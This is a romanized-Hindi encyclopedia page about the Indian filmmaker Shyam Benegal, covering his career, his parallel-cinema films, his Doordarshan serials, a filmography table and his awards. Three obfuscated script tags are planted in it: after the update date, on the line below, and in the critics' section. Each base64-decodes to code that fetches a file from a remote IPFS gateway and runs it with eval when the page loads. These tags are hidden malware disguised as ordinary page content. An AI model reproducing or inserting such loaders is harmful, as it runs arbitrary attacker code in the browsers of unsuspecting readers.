श्याम बेनेगल

shyam benegal
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poora nam	shyam benegal
janm	14 disambar, 1934
janm bhoomi	haidarabad, aandhr pradesh
karm bhoomi	mumbee
karm-kshetr	film nirdeshak, patakatha lekhak
mukhy filmean	'aankur', 'manthan', 'kalayug', 'junoon', 'trikal', 'mandi', 'sooraj ka satavaan gho da', 'saradari begam', 'samar', 'hari bhari' aur 'jubaida' adi.
puraskar-upadhi	'padmashri' (1976), 'padmabhooshan' (1991), 'dada sahab phalke puraskar' (2007), 'rashtriy film puraskar' (paanch bar)
nagarikata	bharatiy
any janakari	shyam benegal prakhyat filmakar gurudatt ke bhatije haian. hindi sinema ko nasiruddin shah, shabana azami aur smita patil jaise behatarin kalakar shyam benegal ne diye haian.
adyatan‎	16:39, 22 sitambar 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shyam benegal (aangrezi: Shyam Benegal, janm- 14 disambar, 1934) mukhyadhara se alag filmean banane vale bharat mean hindi sinema ke ek agrani film nirdeshak haian. sarthak sinema ke prati pratibaddh filmakar shyam benegal apani shreni ke kisi bhi filmakar ki tulana mean adhik sakriy rahe haian.

kairiyar ki shurooat

ek vyavasayik chhayakar ke bete aur prakhyat filmakar gurudatt ke bhatije shyam benegal ne bambee (vartaman mumbee) mean ek nirmata ke roop mean apane vyavasayik jivan ki shuruat ki. apani pahali film 'aankur' (1973) banane se pahale unhoanne 900 se bhi zyada vijnapan filmean aur 11 k aauraporet filmean banaee thian. gramin andhr pradesh ki prishthabhoomi par bani yatharthavadi film 'aankur' ki vyavasayik saphalata se 'bharatiy samantar sinema andolan' ke yug ka uday hua, jisaki shuruat kuchh varsh pahale mrinal sen ki 'bhuvanashom' ne ki thi.

film nirman

shyam benegal ki arambhik filmoan 'aankur', 'nishaant' (1975) aur 'manthan' (1975) ne bharatiy sinema ko behatarin kalakar (nasiruddin shah, shabana azami aur smita patil) die. manoranjan aur samajik sarokar ke bich santulan banae rakhane ki koshish mean benegal ne apani bad ki filmoan 'kalayug' (1980), 'junoon' (1979), 'trikal' (1985) aur 'mandi' (1983) se gramin prishthabhoomi ko chho dakar natakiy aur shahari vishay-vastuoan par filmean banani shuroo kian. javaharalal neharoo aur satyajit ray par vrittachitr banane ke alava unhoanne 1980 ke dashak ke madhy mean dooradarshan ke lie bahut-se dharavahik ('yatra', 'katha sagar' aur 'bharat ek khoj') bhi banae. yah samay unake lie film nirman se lambe alagav ka tha. 'aantarnad' (1992) ke sath filmi duniya mean vapasi ke sath benegal apani purani aur sakriy karyashaili mean laute. unhoanne char fichar filmean 'sooraj ka satavaan gho da' (1993), 'mammo' (1995), 'saradari begam' (1997), 'samar' (1990 ke dashak ke uttarardh mean) 'hari bhari' aur 'jubaida' (donoan 2001) banaeean.

'aankur'

1974 mean unhoanne 'aankur' jaisi yug pravartak film banakar ek prakar se sinekarm ko nee shakl di. mahanh filmakar satyajit ray se prabhavit hone ke bavajood shyam ne apani film ko mahaj kalakriti tak simit nahian rakha, varanh use ek rajanitik-samajik vaktavy ki shakl dene ki koshish ki. 'aankur' sinekarm ki drishti se ek atyant mahattvapoorn rachana thi. barlin filmotsav mean puraskrit aur aauskar ke lie pravishti ke bataur chuni gee is film ke bare mean samikshakoan ne khulakar charcha ki. khyat film vishleshika aruna vasudev ke anusar, 'film nirmataoan aur darshakoan mean takanik aur sinemaee samajh donoan hi star par anagadhata ka mahaul tha. 'aankur' ne inhean suspasht kar nootan akar sauanpa.' prayogadharmita ki dhuri par 'aankur' sahi arth mean nee dhara ki sootravahak siddh huee. isake sath hi shyam benegal ke roop mean bharatiy sinema ke ek ne adhyay ka bhi sootrapat hua.

vartaman ke satyajit ray

1959 mean bataur k aaupi raeetar se apane kairiyar ki shuruat kar aur saradari begam, mammo, nishaant, aankur, kalayug, sooraj ka satavaan ghoda, jubaida, velh‍kam too sajh‍janapur jaisi filmean banakar sampoorn b aaulivud mean apane ek alag sinema ke jariye kamayabi ki bulandiyoan par chadhane vale film nirdeshak shyam benegal ko landan sthit 'sauth eshiyan sinema phauandeshan' (esesieph) dvara 9 joon 2012 ko ‘eksileans in sinema avard’ se sammanit kiya gaya. phauandeshan ka kahana hai ki benegal ne bharatiy sinema mean ‘ek nee tarang’ ka sanchar kiya hai. esesieph ke nideshak lalit mohan joshi ne samman ki ghoshana karate hue kaha ki ‘bharatiy sinema mean nee tarang’ ke janak ke roop mean shyam benegal ka yakinan vahi kad hai jo kad aantararashtriy jagat mean sabase jyada prasiddh filmakar satyajit re ka hai. dada saheb phalke puraskar se sammanit benegal eksileans in sinema av aaurd puraskar pane vale chhathe bharatiy haian. gauratalab hai ki isase pahale ye samman em.es. shetti (2004), adoor gopalkrishnan (2006), seed akhtar mirja (2009), aauskar vijeta gitakar gulazar (2010) ko mil chuka hai. joshi ne kaha ki benegal ki filmoan ne bharatiy samaj mean badalav lane ka kam kiya hai.

alochakoan ki ray

chitr:Blockquote-open.gif bharat ki poorv pradhanamantri iandira gaandhi ne shyam benegal ke bare mean kaha tha ki unaki filmean manushy ki manushyata ko apane mool svaroop mean talashati haian. is pratikriya ka adhar tha ek vrittachitr-neharoo. isake nirdeshak the shyam benegal. maje ki bat hai ki inhian benegal ne apatakal ke dauran shrimati gaandhi ki nitiyoan ki tikhi alochana ki thi. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> is vilakshan filmakar ki advitiy rachanashaili ka chamatkar tha ki unake alochak bhi unaki pratibha ke kayal hue bina nahian rah pae. shyam benegal ki filmean apane rajanitik-samajik vaktavy ke lie jani jati haian. shyam ke shabdoan mean 'rajanitik sinema tabhi panap sakata hai, jab samaj isake lie maang kare. maian nahian manata ki filmean samajik-star par koee bahut b da badalav la sakati haian, magar unamean ganbhir roop se samajik chetana jagane ki kshamata zaroor maujood hai.' shyam apani filmoan se yahi karate ae haian. aankur, manthan, nishaant, arohan, susman, hari-bhari, samar jaisi filmoan se ve nirantar samaj ki soee chetana ko jagane ki koshish karate rahe. bharat mean ve samanaantar sinema ke pravartakoan mean se ek haian, jabaki aantararashtriy star par unhean nee dhara ke sinema ka dhvajavahak mana jata hai. satyajit ray ke avasan ke pashchath shyam ne unaki virasat ko sanbhala aur ise samakalin sandarbh pradan kie. ve kahate haian, 'samoocha hiandustani sinema do hissoan mean kiya ja sakata hai. ek : satyajit ray se poorv aur do : ray ke pashchat.' yadi aisa hai to ray ke bad bharatiy sarthak sinema ki dhuri poori tarah benegal ke ird-gird ghoomati hai. ajadi ke bad bharat mean sinema ka vikas ekikrit roop se samoohik star par hua, magar sattar aur assi ke dashak mean do sinemadharaean dekhane ko milian. vyavasayik sinema ke samanaantar ek aise sine aandolan ne janm liya, jisamean manoranjan ke chir-parichit ph aaumoole nahian the. is nee dhara ke filmakaroan ne sinema ko janachetana ka madhyam manate hue yatharthaparak filmoan ka nirman kiya. shyam benegal un filmakaroan ke path-pradarshak banakar ubhare, jo filmoan ko mahaj manoranjan ka madhyam nahian manate the.

karyashaili

aankur, manthan, bhoomika, nishaant jaisi behatarin filmoan ke jarie hiandi sinema mean nee ibarat likhane vale shyam benegal ko bharatiy filmoan ka sarvochch samman dadasahab phalke puraskar diya gaya. benegal ko 2005 ke lie yah puraskar diya gaya hai. bhale hi kuchh der se hi sahi lekin is bar ka ye puraskar shyam benegal ko diya jana is puraskar ki sakh ko aur badha deta hai.

• sinema ek pratikatmak madhyam hai to kahana padega ki shyam benegal ki filmean pratikoan mean bat karati hai. sanh 1973 mean aankur film ke jariye unhoanne selyulayad ki duniya mean kadam rakha tha. aankur ka vo drashy aj bhi utana hi damadar lagata hai jisamean ek bachcha zamiandar ke anyay aur atyachar ke khilaf zamiandar ke ghar ki khi daki par patthar de marata hai. aankur ka vo bachcha darasal aur koee nahian khud shyam benegal ka hi ek rup hai. aur vo patthar balivud ki jhoothi aur pharebi duniya ke rajamahal ki khidaki par mara gaya tha. yah ahasas dilane ke lie ki rangin aur chamakadar kaanch ke dayare ke is or dhool, dhoop aur dhuean se bhari ek duniya aur bhi hai, jisamean nayak nayikaoan ke lie jivan ka matalab j doan ke ird-gird nachakar izahar -e -mohabbat karana hi nahian hai.
• darasal shyam benegal ki filmean apane ap mean ek aandolan ki shurooat haian. jahaan samaj ke har varg ka chehara hamean jhaankata hua milata hai. phir chahe bat mandi ki rukamini baee ki ho ... jisake kothe mean har vakt koee n koee halachal machi rahati hai.. ya phir iansaniyat ke boote jianda rahane vali 'mammo' ki.. itana hi nahian balki 'bhoomika' mean to ek aurat ki ziandagi se jude kee pahaluoan par shyam benegal ne bina kisi jhijhak ke roshani dali....vo bhi takanik ke har chhote bade pahaluoan par dhyan dete hue. isalie unaki har film apane ap mean ek klasik ka darja pa gee hai.
• bharat ki poorv pradhanamantri iandira gaandhi ne shyam benegal ke bare mean kaha tha ki unaki filmean manushy ki manushyata ko apane mool svaroop mean talashati haian. is pratikriya ka adhar tha ek vrittachitr-neharoo. isake nirdeshak the shyam benegal. maje ki bat hai ki inhian benegal ne apatakal ke dauran shrimati gaandhi ki nitiyoan ki tikhi alochana ki thi.

vijnapan filmean aur pratibhaoan ki khoj

• benegal ki takariban har film mean kam kar chuke amarish puri ne apani atmakatha 'ekt aauph laiph' mean likha hai- 'shyam ek chalata phirata vishvakosh haian. vo is dharati par kisi bhi vishay par charcha kar sakate haian. unase duniya ke kisi bhi hisse mean sabase badhiya aur chunianda restoreant ke bare mean poochh lo aur vo apake samane phauran ek pheharist rakh deange, jahaan unhoanne khana khaya ho.. har vishay par janakari rakhana ek adbhut gun hai aur shyam ne har bar ise sabit kiya hai.' aantararashtriy aur rashtriy star par benegal ko mili tariphoan aur puraskaroan ki pheharist itani lanbi hai jitana kisi hiandi film ka kredit rol bhi nahian hota.
• 1000 se jyada vijnapan bana chuke shyam benegal ne sinema ko gud di ke vo lal die jinake lie na sirph hiandustani balki vishv sinema bhi unaka karzadar rahega. nasiruddin shah, om puri, amarish puri, anant nag, shabana ajami, smita patil aur unake pasandida sinemetographar goviand nihalani.
• phraansisi filmakar jyaan lyuk godar ne kaha tha- 'sinema ziandagi ko filmane ki kala nahian hai.. vo to ziandagi aur kala ke bich ka 'kuchh' hai.' aur shyam benegal ne to aankur, nishaant,manthan, bhoomika, junoon, arohan, trikal, sooraj ka satavaan gho da, d mekiang aauph mahatma, saradari begam aur jubaida ityadi ki shakl mean 'itana kuchh' diya hai jise dekh-dekh kar aj bhi sinema ke chhatr aauskar jitane ka khvab palate haian. itihas ke 'aitihasik' kayapalat ki nayab misal hai 'bharat ek khoj'.. use bhala ham kaise bhool sakate hai.

pramukh kritiyaan

film soochi kram nam varsh 1- aankur 1973 2- charanadas chor 1975 3- nishaant 1975 4- manthan 1976 5- bhoomika 1976 6- koandura (kann d) 1977 7- anugraham (hindi) 1977 8- junoon 1978 9- kalayug 1981 10- arohan 1982 11- mandi 1983 12- trikal 1985 13- sooraj ka satavaan gho da 1992 14- mammo 1994 15- mekiang aauf mahatma 1995 16- saradari begam 1996 17- samar 1998 18- hari-bhari 2000 19- jubaida 2000 20- bos : d ph aauragatan hiro 2004

pramukh vrittachitr kram vrittachitr varsh 1- a chaild aauph d strit 1967 2- kloz too nechar 1968 3- iandiyan yooth : en eksploreshan 1968 4- h aauroskop ph aaur a chaild 1970 5- palsetiang jaeant 1971 6- tal eand ridm 1972 7- d shruti eand maisej aauph iandiyan myuzik 1972 8- d rag aman kalyan 1972 9- nots aaun grin rivolyooshan 1972 10- larniang m aaudyools ph aaur rooral childran 1974 11- a kvayat revolyooshan 1975 12- nyoo horaijan in stil 1977 13- neharoo 1984 14- satyajit ray 1985

dooradarshan dharavahik kram dooradarshan dharavahik varsh 1- yatra 1986 2- kathasagar 1986 3- bharat ek khoj 1986 4- amaravati ki kathaean 1994 5- sankraanti 1998

pramukh filmoan ka sankshipt vivaran

varsh	film	pramukh kalakar	vishesh tippani
2010	vel dan abba	boman eerani, minisha lamba, ravi kishan	rashtriy film puraskar (samajik vishay par sarvashreshth film)
2008	velkam too sajjanapur	shreyas talap de, amrita rav, kunal kapoor, ravi kishan
2005	netaji subhash chandr bos	sachin khe dekar, kulabhooshan kharabanda, rajit kapoor, divya datta	nargis datt puraskar (rashtriy ekata par sarvashreshth fichar film)
2001	zubeda	karishma kapoor, rekha, manoj bajapeyi, amarish puri	rashtriy film puraskar (sarvashreshth hiandi film)
2000	hari bhari	shabana azami, rajit kapoor, rajeshvari sachadev, nandita das	rashtriy film puraskar (parivar kalyan par sarvashreshth film)
1999	samar	rajit kapoor, rajeshvari sachadev, kishor kadam, sima visvas	rashtriy film puraskar (sarvashreshth fichar film)
1996	saradari begam	kiran kher, surekha sikari, amarish puri, rajit kapoor	rashtriy film puraskar (sarvashreshth urdoo film)
1996	d mekiang aauf d mahatma	rajit kapoor	rashtriy film puraskar (sarvashreshth aangrezi fichar film)
1994	mammo	farida jalal, surekha sikari, rajit kapoor, amit phalke	rashtriy film puraskar (sarvashreshth hiandi film)
1993	sooraj ka satavaan gho da	rajit kapoor, amarish puri, nina gupta, rajeshvari sachadev, pallavi joshi	rashtriy film puraskar (sarvashreshth hiandi fichar film)
1991	aantarnad	kulabhooshan kharabanda, girish karnad, om puri, shabana azami
1987	susman	shabana azami, kulabhooshan kharabanda, om puri	landan film phestival 1987 mean amantrit ki gee
1985	trikal	lila nayadoo, anita kanvar, nina gupta, soni rajadan, nasiruddin shah	rashtriy film puraskar (sarvashreshth nirdeshan)
1983	mandi	shabana azami, nasiruddin shah, kulabhooshan kharabanda, smita patil, amarish puri	landan film samaroh 1983 mean amantrit ki gee
1982	arohan	om puri, viktar banarji, pankaj kapoor	rashtriy film puraskar (sarvashreshth hiandi film)
1981	kalayug	shashi kapoor, rekha, raj babbar	filmapheyar sarvashreshth film puraskar (1982)
1978	junoon	shashi kapoor, shabana azami, jenifar keandal, nasiruddin shah	rashtriy film puraskar (sarvashreshth hiandi film), filmapheyar sarvashreshth film puraskar (1980)
1978	kondura	smita patil, vanishri, anant nag, amarish puri	1979 mean barlin aantarrashtriy film samaroh mean chitrit ki gee
1977	bhoomika	smita patil, amol palekar, anant nag	filmapheyar sarvashreshth film puraskar
1976	manthan	smita patil, girish karnad, amarish puri, nasiruddin shah	rashtriy film puraskar (sarvashreshth hiandi film), sarvashreshth videshi bhasha film ke lie akadami puraskar (aauskar) ke lie bharatiy prastut
1975	nishaant	shabana azami, girish karnad, amarish puri, nasiruddin shah, smita patil	rashtriy film puraskar (sarvashreshth hiandi film)
1975	charanadas chor	smita patil, laloo ram, sadhu mehar, suandar
1974	aankur	shabana azami, anant nag, sadhu mehar, priya teandulakar, dilip tahil	rashtriy film puraskar (sarvashreshth doosari fichar film), akadami puraskar (aauskar) ke lie adhikarik bharatiy pravishti

any mahattvapoorn kary

filmoan ke alava shyam benegal ne anek vrittachitr (d aaukyoomeantari), telivijan dharavahik aur laghu filmean bhi banaee. vrittachitr mean 'neharoo' (1985) aur 'satyajit ray, filmakar' ko rashtriy film puraskar bhi mila. telivijan dharavahik mean 'yatra' (1986), kathasagar (1986), bharat ek khoj (1988) aur laghu filmoan mean 'ghar baitha ganga' (1962), 'poovanam' (1969), 'fl aauvar gardan' (1969), 'hiro' (1975) adi shamil haian.

samman aur puraskar

bharat sarakar ne kala ke kshetr mean shyam benegal ke yogadan ko dekhate hue 1976 mean 'padmashri' aur 1991 mean 'padmabhooshan' samman pradan kiya tha. inake vishisht yogadan ke lie 2007 mean inhean bharatiy sinema ke shreshth puraskar 'dada sahab phalke puraskar' se bhi sammanit kiya gaya. apani shreshth hindi filmoan ke liye shyam benegal ne 5 bar 'rashtriy film puraskar' jita hai. aisa karane vale ve ekamatr film nirdeshak haian. isake alava shyam benegal ko 9 joon 2012 ko sauth eshiyan sinema phauandeshan ke eksileans in sinema av aaurd se sammanit kiya gaya. shyam benegal ko bharatiy sinema mean ullekhaniy yogadan ke lie yah puraskar landan mean diya gaya. landan mean bharatiy uchchayukt d aauktar jaimini ki patni rita bhagavati ne shyam benegal ko british film ianstityoot mean yah puraskar pradan kiya. puraskar samaroh mean shyam benegal ko bharatiy sinema ke ne aandolan ki pahachan ke roop mean sanbodhit kiya gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• Shyam Benegal (Upperstall Profile)
• Shyam Benegal Filmography
• 'Shyam Benegal: A Life in Pictures'
• Awards & recognition for Shyam Benegal's films